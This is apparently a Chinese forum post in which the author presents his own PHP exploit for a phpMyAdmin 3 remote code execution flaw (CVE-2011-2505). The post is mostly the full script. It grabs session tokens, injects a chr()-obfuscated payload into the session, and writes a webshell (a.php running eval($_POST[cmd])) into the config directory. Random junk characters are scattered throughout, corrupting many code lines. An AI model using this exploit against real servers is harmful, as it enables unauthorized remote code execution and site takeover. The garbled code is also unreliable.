最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。/ D0 A7 U% a7 T- }- [ h
; L6 P% Q* @0 x+ z# m
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
. @) b5 r. B1 p' j: s& Z
' W3 R5 t! H9 F! C! V$ D3 I首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:- K7 Y. X: c5 B5 h* ?# M
一是session.auto_start = 1;; V( [5 P. k) v% Y/ o; O
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。5 O; c! q& s- r& D. A& D% n8 [2 \' O
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
, K& k/ d( z; r" t# A
, p( h. p5 f N' i5 A在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。$ N; I5 B+ d/ a6 P7 w7 c
/ l4 i& D- l+ [ ]+ W于是写了这个php版本的exp,代码如下:
# G& P6 r; {- C& s
; K: M p+ D* [1 \#!/usr/bin/php, @! P: i. z4 v% h% U( Q) @
<?php
. D/ p: L: x* A5 x+ ]print_r('' R' Q: r+ J* i3 _+ _
+---------------------------------------------------------------------------+# H9 X5 n* \, i
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]7 e- v( ]' p! P
by oldjun(www.oldjun.com)/ I& S0 r9 j- {5 a- ~( Y
welcome to www.t00ls.net
+ v2 N' N0 Z- Qmail: oldjun@gmail.com! u0 N" I9 S' n9 y3 |3 G7 ~2 u: K
Assigned CVE id: CVE-2011-2505
4 l! @: F5 @9 l9 c+---------------------------------------------------------------------------+
3 b$ X: W+ p4 B; k. t4 j% y9 x2 r6 e');
! N& \8 N( ^$ H6 j+ Y% d9 ]) V
& T1 f8 a/ z W' s4 V I. a0 ^/**. N- n3 \) p( o d
* working when the directory:"config" exists and is writeable.
, d1 F; K$ D8 e2 s% E**/
$ i5 H2 k" g u$ @/ f2 Z6 f" K z( l
$ _% H B8 q: E; \% R- bif ($argc < 3) {
$ P" \5 Y5 K1 L3 G print_r('4 c/ w) V8 h5 Y9 M9 V/ g
+---------------------------------------------------------------------------+
' m5 Y. O8 u& e J% mUsage: php '.$argv[0].' host path
- e( ^: u3 }7 z) [host: target server (ip/hostname)) j6 J: t1 v, v8 O/ \. l
path: path to pma3
( F p# _3 s+ u4 bExample:
+ b* u# e: f3 pphp '.$argv[0].' localhost /pma/
" u ?! ?$ Q/ ~! J! v+ x" }+---------------------------------------------------------------------------+0 p0 @' K% ?) C
');+ M. Z& D+ y2 @6 _
exit;7 r( X' t2 ~1 R: ?& ?1 |
}/ m' [! x' ^8 p7 D3 u; K% G
; G0 g2 q& |+ D# R6 j
$host = $argv[1];
, y- u' u2 X) c8 v% R- n$path = $argv[2];& r2 [/ ]# u, n1 x' q: ?: @
5 q% a5 x- t! ?8 E4 {$ o+ o: [
/**6 }+ k7 E6 H; C9 Z) c3 P
* Try to determine if the directory:"config" exists3 S, N0 n9 f0 ]2 ^. e: j p
**/ j A. e- G: L$ n$ w3 k
echo "[+] Try to determine if the directory:config exists....\n";1 ^% w4 g! L/ ~
$returnstr=php_request('config/');2 x7 g1 ~$ `7 s, e
if(strpos($returnstr,'404')){
0 Q$ s2 H' U: P6 D exit("[-] Exploit Failed! The directory:config do not exists!\n"); d9 ?: c7 ?. D, ]5 [! h
}
& I( ~ X: ]% h) \2 i& J( O0 W7 J% s7 v5 q
/**
- F3 @/ A2 ?3 V" w* M * Try to get token and sessionid5 q0 g4 }' C& l0 l
**/! o! g9 a2 w4 z! e
echo "[+] Try to get token and sessionid....\n";
' G! o; M" `* V1 }( X. w$result=php_request('index.php');
/ C9 F$ A7 l; ~: upreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);0 u0 s+ C4 b$ N+ Z
$token=$resp[3];
8 O/ S& J7 L+ S( W$sessionid=$resp[1];, d4 q# }( r1 j9 I
if($token && $sessionid){
X' ~0 }5 P& y2 p3 B# q5 S! W# a9 e echo "[+] token token\n";
# v3 @- p) @8 f4 U; C echo "[+] Session ID sessionid\n";
8 l/ S$ H C- c8 A' x$ _# ~; ~$ z4 i}else{
& y4 q. e0 _1 T$ s exit("[-] Can't get token and Session ID,Exploit Failed!\n");3 D V/ J. y1 O
}
; K9 }7 }8 v* a) m5 r3 q2 P' l9 i" [( u7 }; {/ D2 e7 e" u1 u
/**& E1 g: @, B9 X d
* Try to insert shell into session
% s2 @1 y9 \1 t# e% b**/
- [, }1 z% Z8 m' F2 xecho "[+] Try to insert shell into session....\n";" c2 {% X) S3 ~
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.4 Q+ R3 R* e( G( ?9 b3 l
( Z7 |! k1 B7 G; h3 [0 ]8 ~/**
5 [ Z# w! F$ [7 u. ^ * Try to create webshell
& ?4 F9 M2 v8 _ t* y2 C3 D- F**/
$ A6 V% D. Z6 y3 uecho "[+] Try to create webshell....\n";
* T- t. v0 G+ b5 h \! f* Xphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);* ^) p) Z2 @5 s! F4 n
/**
6 e3 y( a' h! t5 i$ ` * Try to check if the webshell was created successfully
; b# O% v- H8 f1 p8 P# ?1 x**/! D( s |- ~) ]' a; T; V
echo "[+] Try to check if the webshell was created successfully....\n";
, }" i2 C& i5 i% J0 ?% j$content=php_request('config/config.inc.php');
# ~# C z |! zif(strpos($content,'t00ls')){
) ?1 J2 Y! r" z, r6 ?9 I2 R- r echo "[+] Congratulations! Expoilt successfully....\n";
3 T6 Q+ Z. E7 F2 j6 R echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";- `( A% ^8 y4 A1 v. K, _6 f9 o0 H% s% z
}else{! @( O+ j+ }2 M1 A- L
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");9 C, [6 J+ t% Y+ V
}
5 Y1 E7 Q w! R# }# H) H+ ] K# S
3 _/ Q3 I4 q/ s* c/ }function php_request($url,$data='',$cookie=''){5 k5 P$ ?! k6 n9 s- Z1 Y5 S/ x1 G
global $host, $path;
6 ~( G- E- ]7 W6 b) \
0 ~$ Q' Y' h# l/ }6 z $method=$data?'POST':'GET';
4 x. O" O: f( U. T) X% T / _) t2 ~- b, f4 ?/ Q1 C$ {& N7 g
$packet = $method." ".$path.$url." HTTP/1.1\r\n";# g& Q7 H/ P/ {, c$ Y4 o( T
$packet .= "Accept: */*\r\n";3 z- u3 R% n3 ~
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";$ J$ Q1 B% O- R2 A2 C
$packet .= "Host: $host\r\n";! Q R3 t5 t# k0 {) ?" e* C
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
X0 q# Z9 k5 D $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
/ G8 P: L! `5 d4 a* v $packet .= $cookie?"Cookie: $cookie\r\n":"";- Q" w6 d. S0 {9 e( [# Q. \
$packet .= "Connection: Close\r\n\r\n";
7 }1 p) A D6 Z $packet .= $data?$data:"";- V: D; j$ S! d% R
+ S2 ~+ ~2 u& w3 ]. ]0 q $fp = fsockopen(gethostbyname($host), 80);
! i/ L- W: c! Y: g5 b; c3 L if (!$fp) {* n2 F% u) {, F3 I5 f
echo 'No response from '.$host; die;
9 r" n; p+ Y6 C' j }; Q% K1 K& A0 c* A
fputs($fp, $packet);% J# A+ c' X j6 p
) i. X' g. U! Z9 P8 S $resp = '';
' f& j4 o6 o3 z) h; l
6 u8 ]4 y5 I* l( G; j0 z2 m5 c while ($fp && !feof($fp))
3 r" o7 Q' P7 j% j* ^: k1 H0 y1 N' i $resp .= fread($fp, 1024);
. r" |* A! ~. Q1 a2 W
( B$ U$ U4 W+ c2 }$ ], [- |8 X! A return $resp;# @/ ?& H7 w. g3 t3 @
}& z5 O% l! R6 I- L
# K; N! y) M' T, _9 z9 x# `?>
$ c& ^) A, \0 }; G/ g' I% g* C: B. |